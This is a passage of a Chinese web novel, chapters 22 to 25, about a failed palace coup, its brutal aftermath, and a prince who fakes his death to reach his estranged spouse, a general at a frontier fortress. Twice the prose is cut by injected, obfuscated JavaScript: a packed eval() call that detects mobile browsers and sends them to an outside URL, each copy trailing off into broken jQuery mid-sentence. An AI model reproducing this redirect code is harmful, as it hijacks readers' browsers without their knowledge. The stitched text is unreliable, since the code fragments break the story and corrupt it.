皇帝在花厅帘后坐着,花厅内外都是宿卫军。 安王在花厅外面的席位上坐着吃果子,目光沉沉地扫过园子里每个人的脸。 王松清王洛清也在其中,他们二人做了诗呈到御前,便一直坐着喝酒。王松清想给他敬酒,被他哥拉住了。 太阳下山,夜幕降临,诗会即将迎来最高潮的部分——选出今年的诗宗魁首。 宿卫军端着十数投花桶进入花厅。 月下,空气仿若凝滞。孟祈安正襟危坐,手撑在矮几上随时准备起身。 突然,破空声划破暮色。 “有刺客!!”宿卫军的呐喊声惊起满池锦鲤,一支箭射入花厅前方的地上,没入青砖半寸。 箭?孟祈安诧异之余,看见王洛清忽地抽出一柄鸣镝,射入空中。 同时起身的还有十余人。 “护驾!!” 皇帝掀翻檀木案几,飞身而起。 装在投花桶中的硝石铺天盖地向他撒来。门口的宿卫军大统领掏出火折子,还未掷出,就被其他宿卫军一左一右抹了脖子。 火折子落地,引燃了硝石碎屑,花厅前门立刻被炸了个粉碎。 暮春园乱成一团。 孟祈安退至树后,他并不担心花厅内,因为他早就让皇帝留在皇宫,花厅里的皇帝是陆云旗假扮的。 忽然一道黑影从院墙飞落,左右看看之后直冲着他而来。 “!!”安王没想到自己竟也是目标。 只见那梳着辫子的高壮黑衣人手持弯刀,砍死了挡在前面的一名书生,两三步便已至大树前。 孟祈安掷出一个东西,他手起刀落将那东西砍成两截,不砍还好,砍碎了香盒里面的香粉便洒落出来飞得满天都是。他又往前追了两步,突然腿软,摔倒在地不省人事了。 孟祈安捂着口鼻躲在树后:“吓死我了吓死我了!” 陆云旗带来的宿卫军顷刻之间控制了整座暮春园,无一人漏网。 过了一会儿,便有宿卫军带来消息,皇宫和城郊的叛军已被一网打尽,另外,在暮春园外抓到了德亲王。 22.第 22 章 戌时三刻,严华城内城被提前三个时辰自副城驻地开拔的中军精锐铁桶般围住。 暮春园内百余人等,从紫袍玉带的朝廷从一品大员到粗布短褐的寒门书童,皆成阶下囚。 非陆云旗嫡系的宿卫军士卒,皆被缴械后羁押候审,当场倒戈、负隅顽抗者,就地格杀。 这场突如其来本该血雨腥风颠覆乾坤的谋逆,竟在短短一个时辰内便偃旗息鼓。 经审,二十二名朝臣,三百七十八名叛军的供状已摞成小山。 暖阁之内,龙涎香袅袅升腾,盘绕着藻井的蟠龙纹。皇帝御笔在奏报上重重落下朱批,朱墨因用力过猛渐在了他明黄色的御袍袖口上,犹如绽开的刺目血花。 “好个清平盛世!”帝王的嗓音沙哑似砾石摩擦,鬓边新生的华发在烛火下微微发颤。那些曾经在早朝中高谈阔论的肱股之臣,那些为太子皇子讲学的大儒宗师,皆成了供状上的一个个名字和血指印。 曾经以为的盛世太平广厦千万,看不见的地方竟是千疮百孔。幸好孟祈安提前暗度陈仓,让副统领陆云旗替换了大统领的令牌,并帅宿卫军亲信潜入严华城,埋伏在暗处,才能将逆贼一网打尽。 皇帝脊背发凉,玉扳指在龙纹扶手上磕出裂痕。反贼就在他眼皮子底下,他竟然没有一丁点儿的察觉。 “仅凭十罐硝石、三百余宿卫军,就妄图某朝篡位动摇国本!?”雷霆之怒震得香烟晃动,宫灯流苏簌簌作响。 “当真可笑!可笑至极!!” “当朕草包吗!?” “传旨。凡参与谋逆者,诛九族!” 敕令掷地,大臣们噤若寒蝉,生怕天威降临到自己头上。 殿内针落可闻,半晌,皇帝才缓缓问道:“孟祈泰审出来了吗?” 负责审理此案的三司长官中,刑部尚书资历最深,他的朝珠先额头一步碰在金砖上发出脆响:“回陛下,德王一直都没招。坚称自己是赴诗会途径,并不知道发生了什么。” “胡说八道!!”此话如同火星坠入油锅,皇帝猛然掀翻御案,笔架、奏章、砚台飞了出去散落一地,“他的封地在西州!隔着十万八千里,你告诉孤他是路过的?” 皇帝气得胸口剧烈起伏,一直安静坐在旁边圆凳子上的孟祈安赶紧上前,扶他坐下,给他顺气:“皇兄当心龙体,先喝口茶。” 皇帝接过温茶,喝了一口,略热的茶水滑过他的喉管,抚平他的怒火,他没法对孟祈安发火,若没有幼弟,今日他就算没死,也会颜面扫地。 “皇兄,那些官员,还不能杀。”孟祈安低声提醒他。 皇帝立刻发觉自己被愤怒冲昏了头脑,问道:“犯人招供了吗?” 刑部尚书:“关统领招了,指认德王是今晚兵变的幕后指使。” 皇帝平静了许多,说道:“德……孟祈泰给了他什么好处,让他冒着诛九族的风险来行刺孤?” 刑部尚书:“关统领……” 一个砚台扔在他脑袋边上,碎成了几瓣,皇帝怒吼:“狗屁统领!!” 刑部尚书:“是、是关连虎,关连虎说,孟祈泰许诺了他黄金百万和爵位。” 皇帝:“李天雄呢?”李天雄是兵部尚书,此次兵变中,他的品阶最高。 刑部尚书:“李天雄在天牢中撞墙自尽了。死前也说是孟祈泰指使。另外,王太傅家的两位公子,王洛清说并不知道幕后是谁,只知道是为皇亲国戚,王松清则更什么都不知道。” 皇帝:“不知道?” 孟祈安:“臣弟猜,他可能真的什么都不知道,都是被他哥挑唆的。”他内心还停留在十岁的时候,不愿相信好友会做出大逆不道之事。不过不管背后真相如何,王太傅家逃不过满门抄斩的命运了。 所有涉事官员,有四名说是德王指使,其余人不清楚幕后是谁,只说是听“主子”的。 第二日,天牢传出兵部尚书关连虎、大学士赵牧阳陈秋自尽的消息。此三人自戕的方法不尽相同,但都很决绝。据守卫说,他们后半夜尖叫不停,然后撞墙或咬舌,关连虎满目猩红更是将脚镣缠在脖子上,坐在地上生生勒死了自己。死状凄惨疯狂。 他们死后第三日,按律要在刑场鞭尸,死后也要被砍头,不给留全尸。 刽子手的大刀从尸体脖子上砍下,没有鲜血喷溅,刀口处缓慢流出粘稠的黑红血液。 仵作验尸也是走个流程,派去的是新人。新人查看刀口和尸体,发觉有些不对劲,发灰的烂肉中有很多细长的黑色肉虫子在蠕动。 新人仵作很是纳闷,暮春气温还不是很高,明明才死去三日,尸体内部怎么都生蛆了?若是生蛆也应该是在表面。 他看了眼师父,师父说这场行刑只是走个流程,只要人已经死透了就行,其他不用管。面前这几具头都没了,阎王爷来了都活不了,于是新人仵作将尸体盖好,签署了生死文书。 德王孟祈泰也招了。 此先,他一直说自己偷偷回严华城,只是因为新娶的美人信佛,想要生辰时来龙泉寺拜佛求子,顺便求一串龙泉寺最出名的十八子手钏,美人整日梨花带雨的苦苦哀求,还说是为了给他诞下健康男婴祈福,他实在拗不过,但奏章一来一回怎么也要一个月,会错过生辰,于是孟祈泰便没有声张,带着妾室入京。 本想着求了佛就回西州,美人见山下暮春园热闹,就想去看看,他觉得寺里总归住着不舒服,下山寻一处奢华的酒楼住一晚,明日便启程返回西州,于是就答应妾室只能在戒严区外隔着两条街看。不成想,他的车架刚刚下山,就被宿卫军拦住了。 宿卫军刚一掀车帘,他那娇滴滴的美人忽然奋起抵抗,当从褥子下面抽出一把刀时,他才意识到,这女子根本不是什么弱女子。 德王是先皇贵妃所出,当年跟还是太子的皇帝互相不对付,封了王之后就几乎没什么往来了。他一直在喊冤,但他娶的妾室砍死了两名宿卫军,加上朝臣们的证词,完全坐实了他谋逆的罪名。他哭喊着要见皇帝,但还没等来皇帝,就被打得浑身是血,十个指甲都拔掉了,牙也一颗不剩。 皇帝来见他的时候,他已经被折磨得神志不清,满是鲜血的嘴上下开合,喃喃道:“杀了我……痛快……给我个痛快……” 德王死了。 “安宝……祈安。” 孟祈安突然惊醒,他一直坐在窗边想德王的事。他三岁时,德王就已经搬出宫住了,所以他对三哥的印象不深。 皇帝见他发呆,问他:“怎么在发呆?头又疼了?” 孟祈安摇摇头道:“没有,皇兄,我只是在想……三哥为何要杀你?” 全大承也就只有他敢在皇帝面前提德王了。 皇帝面色严肃,明显压抑着怒火,但孟祈安迎着他的目光,丝毫不躲闪,眼神中只有不解和探究。 半晌,皇帝深深地叹了口气,开口讲道:“德王的生母乐贵妃是云乐国的公主,当年和亲嫁给了父皇,她出身高贵性格高傲跋扈,经常对母后出言不逊。母后仁慈大度,不与她计较,但孟祈泰却仗着年纪小,经常挑衅母后,最过分的一次,母后刚怀上你,他在母后必经的路上洒了油,害得母后滑倒,险些小产。” 孟祈安讶异:“我不知道此事。” 皇帝:“所幸母后没事,父皇便只将乐贵妃打入冷宫,孟祈泰挨了二十板子,在床上趴了两个月。孤回来之后又打了他一顿,把他的腿打折了。就是那时他记恨上了孤吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206411|164724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟祈安:“我记得他封王搬出宫没多久,乐贵妃就殁了。” 皇帝:“是,乐贵妃是染上了风寒没的。” “对了,这次你揪出叛贼有功,皇兄要重赏你,有什么想要的尽管开口!” 孟祈安眨眨眼:“真的吗?皇兄说话算话?” 皇帝微笑道:“君无戏言。” 孟祈安:“臣弟要去找淮屿。” 皇帝:“…………”想收回。 孟祈安见他不说话,说道:“皇兄,臣弟说想去找淮屿,皇兄没听见吗?臣弟再说一遍,臣弟要去建宁关找谢淮屿!” “皇兄?” “皇兄是我说的声音太小了?还是外面风太大了?臣弟想去找淮屿——!” “皇兄皇兄?” 他叨叨个不停,皇帝忍无可忍:“你给我闭嘴。” 孟祈安乖乖闭嘴。 皇帝:“不可。” 孟祈安:“皇兄,您刚才可说我要什么都可以的!” 皇帝差点被他带偏:“孤什么时候说过!?孤只是说你可以尽管开口,答不答应的,孤没说。” 孟祈安黯然神伤道:“你们瞒了我这么久,却谁也不给我一个解释。” 皇帝:“好了,瞒你是怕你情绪激动伤身,也是为了你好。” 孟祈安:“我要听谢淮屿亲口给我解释。” 皇帝:“去建宁关路途遥远,而且那里地处大漠边缘,土地贫瘠飞沙走石,你的伤还没好全,去那里根本受不了的。” 孟祈安正色道:“淮屿在那里拼死沙场抵御外敌,臣弟身为夫君,却在京都享福……这是不对的,夫妻理应同甘苦。” 皇帝:“你们不一样,淮屿从小就在边关长大,适应那边的环境。” 孟祈安:“臣弟非得要去呢?” 皇帝无奈道:“孤不会让离开严华城的。你若固执己见,那孤只好将你禁足在宫中。” 孟祈安:“皇兄,臣弟不要任何奖赏,只要见淮屿一面。” 他执拗的眼神让皇帝想起六年前,也是在暖阁,也是一样眼尾泛红字字铿锵:“皇兄,臣弟不要美女,不要金银珠宝,不要亲王爵位……臣弟只要淮屿。” “求皇兄成全。” 六年前的少年和眼前的人重叠在一起。 就算过去这么多年,还失忆了,孟祈安对谢淮屿的坚持从来没有变过。 但如今情势不同。 那只钉入王府前地面的死兔子……明措已经将孟祈安当成了目标,而且罗傲国虎视眈眈,建宁关很有可能成为战场,为了孟祈安的安全,皇帝还是严正拒绝了:“不可。” 孟祈安:“臣弟救了皇兄,救了大承……臣弟只求皇兄放臣弟离开。” “住口!”皇帝被他激怒了,“挟功自傲,恃宠而骄!看来是孤平时太惯着你了!从今日起,你在王府禁足!” 孟祈安声音也高了起来:“皇兄!皇兄若是不让臣弟去,臣弟就绝食!” “反了你了!” 孟祈安:“皇兄是关不住我的!打断臣弟的腿,臣弟爬也要爬着去!皇兄不让我见淮屿,难道还想给我纳妾?臣弟娶了淮屿,今生就只认他一人为妻!皇兄当真要做那棒打鸳鸯的恶人?” “你这不知好歹的小兔崽子!”皇帝追着他打,想找个趁手的东西揍他,找了半天看到桌案上的信,拿起来说道,“好、好!你就认他一人?你看看,谢淮屿他要与你和离!” 他是被气得糊涂,说完就后悔了,但覆水难收。 孟祈安夺过信拆开,上面是谢淮屿的字:【谢淮屿书:今与安亲王孟祈安绝婚,断琴瑟之谊,自此山河永寂,各安天命。】 孟祈安:“…………” 23.第 23 章 陆云旗奉命将安王送回王府。 暮春的雨鲜少有这么大的,天色暗如泼墨,大雨倾盆,地上不一会儿就积了水,汇到宫墙根下的排水渠小溪一样汩汩流走。从暖阁到宫门口,平日里总嘻嘻哈哈的孟祈安半个字都没说。双唇紧紧抿着,目不转睛地盯着前方道路上腾起的雨雾,阴翳在眼中无声地激荡。 情绪沸腾后产生的痛没有发泄出来,全闷在了心里,如同亟待爆发的火山,连陆云旗都感觉到了危险的气息,忍不住频频侧目。 孟祈安一步步往宫外走去,他知道谢淮屿留这封和离书的用意,无非就是担心死在边关,给自己一个重新开始且无需缅怀的理由。他的大脑其实无法理解这份痛彻心扉,但身体不管那许多,心脏只顾着疼,整个人都像浸泡在绝望里。 他加快脚步,雨水打湿了额发和袍角也毫不在意。 季青牵着马等在宫门口,他上了马车,暗卫队长也在马车里。 马车在雨中缓缓启程,雨声中,暗卫队长说道:“殿下,那刺客确实是罗傲人。” 闻言,孟祈安抬起头来,眼中阴霾稍稍散去。跟他猜的一样,暮春诗会上手持弯刀冲他来的,看身形相貌不是大承人,果然是罗傲人。当时他便让暗卫将此人带走,没有被押入天牢,而是关在镇北军的营地监牢。 他一开始以为此人也是参与谋逆的反贼,那人骨头很硬,但也根本没想隐瞒,被五花大绑在牢里,气势丝毫不减地说他是狼王的子孙,不搞那些虚的,什么皇帝什么诗会他统统不感兴趣,新王给他的命令就是来杀安王。 安王情绪缓解了许多:“杀我?” 暗卫队长正在想要怎么跟安王说死兔子信函的事,就听孟祈安跨了好几步猜了出来:“淮屿是我的王妃,所以罗傲人拿我威胁淮屿,淮屿派你们保护我……他……还有什么事瞒着我?” 暗卫队长也不藏着掖着了,说道:“大将军担心殿下您的安全。” “哼,担心我的安全还要与我和离?”孟祈安越想越生气,低着头小声嘟囔,“怪不得我提起去找淮屿,皇兄才会有如此大的反应。呵呵,一个两个的,都拿我当傻子糊弄。” 暗卫队长:“……”有点可怕,想去马车外面。 不过他还是很尽责地提醒道:“殿下还是留在严华城的好。这次只有一名刺客,后面恐怕还会有。严华城守卫森严,明措派刺客也得掂量掂量。” “还会有刺客?”可谁知孟祈安眼睛突然亮了起来,激动道:“太好了!!” 、 三日后,皇帝正在为清除叛乱余党、重建中枢等事宜头疼不已时,安王府传来急报,安王被刺客重伤,命悬一线。 来到王府寝室,皇帝看到血水一盆盆往外端,心慌得站不稳,险些瘫倒在地。 周常扶他坐下,陆云旗将刺客押解上来,就是暮春诗会上的刺客,此时他被五花大绑,脖子上架着刀,口中塞着破布。 陆云旗愤慨道:“重伤殿下的罗傲刺客在此,听候陛下发落!” 陆云旗:“刺客武功高强,十分狡猾,竟易容成大承百姓,在王府附近摆摊数月,趁王爷车架经过,突然暴起,将殿下刺成重伤。陛下,末将护殿下不周,请陛下责罚!!” 这件事中军有责任,但罗傲人早有准备,竟然埋伏了数月之久,只为了能让中军放松警惕以达目的。陆云旗现在已是中军统领,若要追究责任,他难辞其咎,但中军出了叛徒,朝中可信之人唯有陆云旗能堪此重任。眼下最重要的是幼弟,皇帝心中有火,所以他知道自己恐怕无法做出正确的惩罚,于是说道:“宿卫军过失再议,先好好审理此人。” 陆云旗扯出刺客口中破布,那刺客顿时喊道:“不是我!不是我!不……我要杀他,但这次、不是我!”他的大承话不怎么利索,词不达意,急得满头汗。 皇帝:“是明措派你来的?” 刺客:“是,狼王子民的嘴里从不跑牛马!狼王命我宰了他,我就要宰了他!” 他口中的“他”指的是内间危在旦夕的幼弟,思及此,皇帝怒火中烧,恨不得将他当场砍死:“伤害祈安,孤不能让你就这么死了,来人!” 陆云旗:“在!” “将此人明日当街凌迟处死!枭首示众!将他的头、身,对着罗傲方向,悬于北城门外!” 刺客骨头是真硬,被拖下去也不带怂的,啐了一口,恶狠狠喊道:“你们大承、每一个!都是小人!让我掉进陷阱,把我当成猎物!孬种!!!” 太医院使满头是汗地走了出来,说道:“陛下,安王殿下都是外伤,老臣处理过了,已无大碍。” 皇帝快步入内,孟祈安肩上、腹部都包着厚厚的细布,地上、盆里也都是带血的细布,触目惊心。 皇帝稳了稳心神,走到床前唤道:“祈安?祈安?我是皇兄。” 孟祈安面若金纸,气若游丝,听到他的声音,竟睁开了双眼:“……皇兄……” “我在呢,安宝,没事了没事了。”皇帝抓住他的手,“刺客已经死了,有皇兄在,你不会有事的。” 孟祈安:“皇兄……我……是不是……要死了?” 皇帝心疼极了,说道:“怎么会?太医说你已经没事了,咱们好好养伤,不出一个月,你又能活蹦乱跳了。” 孟祈安:“……皇兄,你能不能……答应我……临死前,我想……见淮屿……一面。” 见他挣扎着要起来行礼,皇帝赶紧按住他说:“好好,这事等你好了再说。” 孟祈安:“皇兄……不答应我……我……死不瞑目……” 皇帝:“好,等你好起来,皇兄派人送你去,你先好好养伤,好吗?” 孟祈安:“说话……算话?” 皇帝:“君无戏言。” 孟祈安得了他的承诺,虚弱地闭上眼睛沉沉睡去。 皇帝后半夜才离开。 他一走,太医院使就虚脱地跪倒在地,老泪纵横:“臣有罪,臣欺君,罪该万死晚节不保啊!” 孟祈安双眼一睁蹦下床,把老头搀起来:“院使大人您的晚节好着呢,这事本王不说,陆将军不说,您不说,绝不会有人知道!季青!”他喊道,“速将母后留给我的昆仑冰魄草拿来一株给院使大人!” 院使得了全天下仅有两株的昆仑冰魄草,方才的要死要活立马换成了喜笑颜开。 陆云旗送皇帝回宫回来,见孟祈安身上缠着细布,坐在八仙桌前面大快朵颐,有种想回边关打仗的冲动,跟着大将军上战场杀敌 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果然皇帝在五日后放出了安王遇刺不治的消息,孟祈安耐心养了一个月的伤后,让院使向皇帝禀告他已经基本痊愈,还亲自跑去皇宫跟皇兄请安,演技十分精湛,没有过分活泼也没有过于虚弱,刚好可以让皇兄心疼的同时还能长途旅行。 皇帝:“你想去就去吧,孤派你做监军,带上一千中军保护你。你是大承御史,切记在路上不可暴露身份。” 、 建宁关。 谢淮屿一个半月前接连收到三封密函,一封来自严华城中军营,说安王遇刺不治,刺客已凌迟处死。他还没来得伤心,第二封来自皇帝的说孟祈安只是诈死,叫他不用担心。随后的第三封,来自陆云旗,陆将军在信中不知是抱怨还是夸奖,说安王可真是个人才,把孟祈安欺君的事说了一遍,主旨是跟大将军请求把他调回建宁关,这尔虞我诈的严华城他是一刻也待不下去了。 谢淮屿只回了一个【已悉】,干脆地无视了他的请求。 大半个月后,北境依旧春寒料峭。 谢淮屿负手立于高耸的城墙上,看着一千兵马浩浩荡荡地进入建宁关城门。 慧云飞见他转身走了,追上去问道:“大将军,不去迎接御史监军大人吗?” 谢淮屿:“晾着他。” 慧云飞不懂,但慧云飞不敢问。跟着大将军回了将军府。 明措始终没有动静,皇帝此时派监军前来,众将士均有些费解。 “难不成是要我们主动出兵攻打罗傲?” “此时罗傲粮草匮乏,正是时机。” “明措没有狼王圣物,调动不了罗傲兵马。咱们攻去罗傲,便是侵犯之举。” 谢淮屿坐在交椅上若有所思道:“不用理会监军。” 众将士不解,监军可是皇帝派来的,不理会的话……恐有蔑视皇权的意思,监军要是受到怠慢回去参上一本,实属无妄之灾了。 谢淮屿:“敌不动,我不动,现在的重中之重还是尽快找到明翰和狼王圣物。” “是!”“是!” 说话间,一阵急促的脚步声传来,在议事所门口停下,一人掀开帘子跨了进来:“淮屿挚爱!我来了!” “…………”屋内寂静无声。 孟祈安:“咳咳,友,友,挚友……” 谢淮屿:“擅闯议事所扰乱军议。来人,把他给我关起来!” 24.第 24 章 “这不是……安亲王吗?” “没认错吧?当真是安王殿下!” “殿下怎会在建宁关?” “不是说殿下遇刺……” 众将领交头接耳,议论纷纷。 孟祈安不悦道:“诶!怎么能叫擅闯议事所、扰乱军议呢?本王……呃、本监军奉旨巡边,军务自然要旁听。” “监军?新来的御史监军?” “安王就是监军大人?” “圣旨上写的监军不是叫安琪吗?” “难怪没听过这名字,不过安琪、祈安……” 孟祈安扬眉,将那与生俱来的贵气拿捏得十足:“本官奉旨前来建宁关监军,却不见大将军相迎,大将军是蔑视王命还是不欢迎我啊?” 谢淮屿眼中晦暗不明,起身开口,却不是对他说的:“监军舟车劳顿,来人,送监军大人回房安置。” “诶!”孟祈安被两名军士半架着往外带,“谢淮屿!我还没说完呢!谢淮屿!” 建宁关地处大承最北方,四月天依旧滴水成冰,入夜之后冷风更是呼呼地吹,夹着砂砾拍打窗纸,似要把天地重新冰冻起来。 建宁关没有宵禁,但因为地处偏远,太阳下山后做买卖的就收摊回家老婆孩子热炕头了,所以夜里格外寂静,只能听得见风声呼啸和远处的狼嚎枭啼。 孟祈安在房中等谢淮屿,左等右等都不来,又怕误了他商议军务,就乖乖地裹着狐裘坐在桌边喝茶。 不得不说,边关的条件确实远不如严华城,大将军房中,除了一套桌椅和一张床之外,什么多余的家具都没有,更别提软垫香炉花瓶帷帐了,连茶杯茶壶都是粗陶烧制,剌嘴。 两名士兵敲门进来,恭敬道:“监军大人,兵子带您去您的房间吧?” “大将军何时回府?” “大将军还在议事所,平日里早也要亥时才回房歇息。” 算算还有半个多时辰,左右等着无聊,孟祈安就去看了看自己的房间。 镇北军素来无监军派驻,所以也没有专门的监军府,他的房间就在将军府后院。 小院不大,三间房,院中新栽的两棵腊梅正在盛放,房间门口挂了厚重的织毯,掀开里面暖乎乎的,提前烧了红罗炭,放了烟,还熏了香,被褥都是新的,摸起来很柔软,案头竟还有个陶瓶,插着两支梅花。 虽然比不得王府,但跟刚才那间房比起来,简直天壤之别。 他转了一圈,指着香炉、熏笼和被褥说:“辛苦二位,把这些搬去大将军房间。” 他自己抱了锦被和枕头折返,一进门发现谢淮屿在屋里。 两月未见,男人长身玉立,额发鬓发束于脑后,身着玄色流云暗纹将袍,肩线冷硬,比在严华城的时候多了几分肃杀之气。腰间乌金错银带系着的玉佩跟自己身上的是一对。 大将军一看见他就皱眉问道:“监军大人往我房间里搬东西作甚?” 孟祈安:“……这么久没见,你就问这个?” 谢淮屿:“……” “你装什么大尾巴狼,屋里就咱们俩。”安王把被褥放在床上,装作很自然的样子说,“当然是搬过来跟你同住了。” 他说完耳尖都红了。怎的好像投怀送抱一样。 真是的。 谢淮屿一愣,说道:“监军大人要跟本将军睡一间房?你不怕别人说你监管不力,本将军还要避嫌呢。” 孟祈安:“谢淮屿,我千山万水地跑来找你,你却要与我讲规矩,你是人吗?” 谢淮屿的脾气也上来了:“我还没问你从京中出逃是为何!你难道不知外面危险吗?”皇帝的信函一到,他就开始担心孟祈安在路上的安危,担心他的身体,担心他吃不好,提心吊胆了大半个月。 孟祈安:“你隐瞒王妃身份,骗了我两个月,咱俩算扯平了。” “!!”谢淮屿,“你……知道了?” 孟祈安走到他跟前,盯着他的眼睛说:“我来找你只想问你一句话。” 两人个子差不多高,孟祈安与他平视,眼中竟含着许威压在里面。谢淮屿以为他要质问隐瞒二人关系的缘由,不想他却一字一句问道:“你当真要与我和离?” 谢淮屿当时留书时的痛楚再次噬咬心口:“……”他留和离书,是担心十年八年的回不去,更是担心死在战场上,他了解孟祈安的性子,即使不记得他了,有王妃这个人在,也不会轻易放手,有个无法归家、生死难料的王妃牵绊,若是爱上别人了,会畏手畏脚不敢行动。 没想到这人竟这么快就看到了和离书,还大老远的跑来质问他。 “我……”谢淮屿不知道说什么好,和离书是他留的,他无法反驳,他也不是真的想离开孟祈安,“没有……” 孟祈安盯着他看了一会儿,转身一掀袍角在床沿坐了下来,说道:“没有就好。” “说心悦于我,又要跟我和离……大将军真是喜怒无常,阴晴不定。大将军既然是本王的王妃,那本王便得看好了你,指不定哪天又整出什么幺蛾子来。” “说什么呢!”他贼喊抓贼,谢淮屿道,“我整幺蛾子?到底是谁欺君罔上金蝉脱壳跑来建宁关?好啊,孟祈安,既然你自称本王,那就不是监军御史安大人,擅闯军营议事所,王子与庶民同罪,理当押入军牢,军法处置。” 孟祈安摸出印信:“谁说我不是监军,看好了!皇兄的亲赐的印信!” 谢淮屿结果印信看了看说:“好,上面写着的监军名讳乃是安琪,并非孟祈安。” 孟祈安:“我就是安琪。” 谢淮屿:“安大人是监军,与末将共处一室是大忌,安大人请回吧。” 孟祈安:“…………” “两头堵我是吧?”他气鼓鼓道,“我偏不走!” 忽然他头顶投下一片阴影,熟悉的香气随着温热的气息袭来,钻入他的鼻腔,心脏好像从悬崖一脚踩空,跌落万丈又飞了起来。 他喉头滚动,向后错了错身,谢淮屿按着他的肩膀将他推在墙壁上。 “你已知我心悦于你,也知道你我的关系,非要留下,是想让我侍寝吗?”谢淮屿借机搂了搂他的腰身,没瘦,挺好。 孟祈安浑身僵硬,心跳声震得指尖发抖,刚才跟谢淮屿吵架的气势消失得干干净净,结巴着说:“侍、侍侍寝……?不不不不用了……” 落荒而逃。 第二日。 监军大人一大早就醒了,即使烧着炭,将亮未亮那会儿屋里还是冰冷,窗棱上结了一层白霜,他扥了扥被子,把自己裹得更严实了些。 外面的号子响了,镇北军开始操练,他咬咬牙一掀被子,爬起来套上袍子,披上大氅,推开门,寒风差点把他掀翻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229835|164724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季青端来早饭,他喝了几口热粥才缓过来,扣上兜帽,跑去了校场。 他昨晚想了很久,想跟谢淮屿聊聊。 建宁关校场比宿卫军校场要大上百倍,将台前,黑色战旗猎猎作响。五千兵卒排列成阵,长矛如林,在熹微晨光中泛着冷冽的青芒。 士兵齐声呐喊,惊起辕门上的寒鸦,大地仿佛都在震颤。谢大将军穿着单衣立于将台领军操练,大老远看见裹着狐裘的孟祈安戳在校场边,皱了皱眉,大步走了过去。 “你怎么来了?” 孟祈安:“我有话想跟你说。” 一队镇北军喊着号子跑了过去,地上的尘土腾起,在朝阳下宛若金色雾霭。 孟祈安要说的话,在这雷厉风行庄严肃穆的场景格格不入,一时间语塞,竟有些难以启齿。 谢淮屿替他拢了拢大氅,问季青道:“殿下用早膳了吗?” 季青实话实说:“回大将军,用了用了,但用的不多。” 谢淮屿:“祈安?要与我说什么?” 又一队士兵迈着整齐的步伐跑了过去。 跑过去的时候,目光都在孟祈安身上停留了一瞬。 孟祈安:“没什么,你先忙吧。”说完转身就走了。 季青追在他身后:“王爷?王爷?” 走出校场大门,孟祈安才放缓脚步。 “季青。”他问道,“我……我是不是在胡闹?” 季青:“啊这……王爷为何这般想?” 孟祈安没说话。他费尽心机,不惜欺骗皇兄,千里迢迢来到建宁关,都是为了谢淮屿,他满脑子都是谢淮屿,想得起来的想不起来的,全都是谢淮屿。可是,刚才他站在校场边,看见万千大承边军操练的场景,觉得自己这点情情爱爱患得患失的小情绪根本不值一提。 羞赧愧疚占据了他的心。 “我是不是不该来?” 季青大概猜到了他是怎么想的,说道:“殿下不是在胡闹。您来了才是对的。” 孟祈安看向他。 季青:“大将军其实整天记挂着您,您到身边来了,他也能安心戍边御敌不是吗?” 孟祈安:“真的吗?” 失忆的主子得靠哄,季青哄小孩似的哄他:“真的,咱不给大将军添麻烦,再多吃点东西好吗?” 孟祈安心情好了许多,点头道:“嗯,好。” 他往回走,想着等谢淮屿有空了再和他好好聊聊。 一匹枣红骏马飞驰而来,马上是一身着铠甲的将军。 披风猎猎,英姿飒爽。 那将军经过时看了眼孟祈安,骏马越过他们之后又折返回来,停在他们前方。 马上之人摘下了头盔,浓眉大眼,丰神俊朗,是位年轻的小将。 “站住!”小将喝道,上下打量着孟祈安,问道,“你们是何人?看装束并非我镇北军中人,是建宁关的平民吗?平民不可入校场!” 季青上前:“休得无礼!此乃安王殿下!” 小将听到这个称呼愣了一下,眼中骤然翻起漩涡,策马绕着孟祈安绕了两圈,哼道:“你就是安王?” 孟祈安从他的眼神和语气中看出不屑,说道:“正是本王,你是谁?” 小将:“我叫陆霆昭。”他在马背上居高临下地看着孟祈安说,“不过一个纨绔王爷,你配不上淮屿哥。” 25.第 25 章 陆霆昭说完将头盔往臂弯一夹,双腿轻磕马腹便潇潇洒洒地走了。安王殿下望着绝尘而去的马和人,张着嘴如失了水的鱼,半天冒不出一个泡来。 季青愤愤不平道:“目中无人的小儿!好大的口气!我们王爷金枝玉叶,芝兰玉树,怎的就配不上大将军了?王爷别气,咱们这就去找大将军评评理!” “不去!这有什么?”孟祈安道,“看不惯本王的人多了去了,若一一计较本王不是气死就是累死。他无非是觉得本王不会武、不会领兵打仗、手不能提肩不能抗、弱不禁风、纨绔闲散、体弱多病……呵呵,这有什么的……” “……”季青望着自家王爷捏得发白的指节腹诽,明明都介意到骨头缝里去了…… 孟祈安硬生生咽下了这口气,肚子里装得满满当当,一上午连点心都没胃口吃。 晌午,大将军难得回将军府用午膳。 孟祈安劈手夺过季青添的碗筷,没好气道:“你回来干什么?!” 谢淮屿被他鼻子不是鼻子眼睛不是眼睛地怼,不知他哪根筋搭错了,好言好语道:“这是怎么了?我想和你一起用膳才回来的。给我讲讲路上这半个多月的见闻吧。” 孟祈安眉一挑:“找你弟弟吃去!” 谢淮屿:“我弟弟?哪个弟弟?” 孟祈安酸溜溜地说:“哪个弟弟?谢淮屿,你还有多少个好弟弟?” 谢淮屿一脸茫然。 孟祈安:“陆霆昭!” 谢淮屿恍然大悟:“哦,霆昭。” 安王更委屈了:“霆昭……霆昭……叫得如此亲昵顺口!” 